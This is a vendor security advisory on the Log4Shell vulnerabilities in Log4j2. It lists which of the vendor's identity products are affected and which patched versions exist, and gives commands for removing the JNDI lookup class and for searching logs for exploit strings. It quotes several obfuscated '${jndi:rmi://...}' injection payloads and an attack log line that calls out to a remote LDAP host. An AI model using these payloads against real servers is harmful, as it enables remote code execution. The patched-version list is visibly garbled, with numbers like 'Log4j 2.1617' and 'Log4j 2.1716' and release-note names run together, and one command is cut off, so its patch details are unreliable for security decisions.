General information

This article contains information related to the remote code execution (RCE) vulnerability affecting Log4j: https://www.randori.com/blog/cve-2021-44228/ 

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers. According to public sources, Chen Zhaojun of Alibaba officially reported a Log4j2 remote code execution (RCE) vulnerability to Apache on Nov. 24, 2021.

This critical vulnerability, subsequently tracked as CVE-2021-44228 (aka “Log4Shell”), impacts all versions of Log4j2 from 2.0-beta9 to 2.14.1.

Further on, these additional CVEs was also reported for Log4j, CVE-2021-45046 for the 2.15 version, as well as CVE-2021-45105 for 2.16.

The Nexus Security team has investigated the impact of the Log4j remote code execution vulnerability (CVE-2021-44228), (CVE-2021-45046), (CVE-2021-45105) and the possible impact on our products.

Information about the update

Refer to the table in section "Nexus components" for the latest information for the components.

Releases with fixed versions of the affected components:

Nexus SaaS customers

If you are a Nexus SaaS (Software as a Service) customer, the mitigation and patching is performed by the SaaS delivery team. At this point in time, we have taken all necessary steps, and are awaiting our internal engineering teams to provide a permanent fix. We are monitoring the situation to further analyze any new changes to the CVE and the potential methods of exploiting it, to ensure security and stability in the environment. 
 
Currently, the team is performing deeper analysis of attack patterns, to be able to tweak our service platform even further, for any future adaptations of this vulnerability. Our SaaS services are monitored 24/7/365 by our on-call rotation, and we have also updated our monitoring and routines to deal with this specific CVE. 

Nexus components

This list contains the components from Nexus, and their respective affected versions.

Component

Affected versions

Comment

Smart ID Certificate Manager

None of the supported versions are affected

Does not use Log4j

Nexus OCSP Responder

None of the supported versions are affected

Does not use Log4j

Nexus Timestamp Server

None of the supported versions are affected

Does not use Log4j

Smart ID Desktop / Mobile App

None of the supported versions are affected

Does not use Log4j

Nexus Card SDK

None of the supported versions are affected

Does not use Log4j

Smart ID Physical Access

None of the supported versions are affected

Does not use Log4j

Smart ID Digital Access (previously named Hybrid Access Gateway – HAG)

Versions < 6.0.5 are not affected

Smart ID Identity Manager / PRIME

• Smart ID version 21.10.2 –This version is packaged with Log4j 2.17.1.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.10.2
  
  
• Smart ID version 21.10.1 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.10.1
  
  
• Smart ID version 21.04.7 –This version is packaged with Log4j 2.17.1.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.04.7
  
  
• Smart ID version 21.04.6 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.1004.16
  
  
• Smart ID version 2120.0411.6 3 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID 2120.0411.63
  Smart ID
  
• Digital Access version 206.111.3 2 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as and it is packaged with Log4j 2.1617.
  You can find this version on the support portal, and release notes here: Release note Smart ID 20.11.3Digital Access component 6.1.2
  
  
• Digital Access version 6.1.2 1 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, and as it is packaged with Log4j 2.1716.
  You can find this version on the support portal, and release notes here: Release note Digital Access component 6.1.2
  Digital Access version 6.1.1 –1
  
  
• Smart ID Identity Manager (PRIME) version 3.12.14 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Digital Access component 6.1.1Smart ID Identity Manager 3.12.14
  
  
• Smart ID Identity Manager (PRIME) version 3.1211.145 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID Identity Manager 3.12.14
  Smart ID Identity Manager (PRIME) version 3.11.5 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID Identity Manager 3.11.5
  
• Smart ID Identity Manager (PRIME) version 3.10.30 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID Identity Manager 3.10.30

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

sudo find /var/log/ -name "*.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(l

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

2021-12-12 05:54:07 0 ip.number.ip.ip 5f7288ab7f41d805 - - - endpoint.ip.number:443 https - GET / ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://111.111.1111.111:12344/Basic/Command/
Base64/V2Ugd291bGQgbm90IHBvc3QgYW55dGhpbmcgbWFsaWNpb3VzIGhlcmUsIHNvIHRoaXMgaXMganVzdCBh
biBleGFtcGxlIHRleHQgY29udmVydGVkIHRvIEJBU0U2NCA6KQ== } host:ip.number.ip.ip:443 404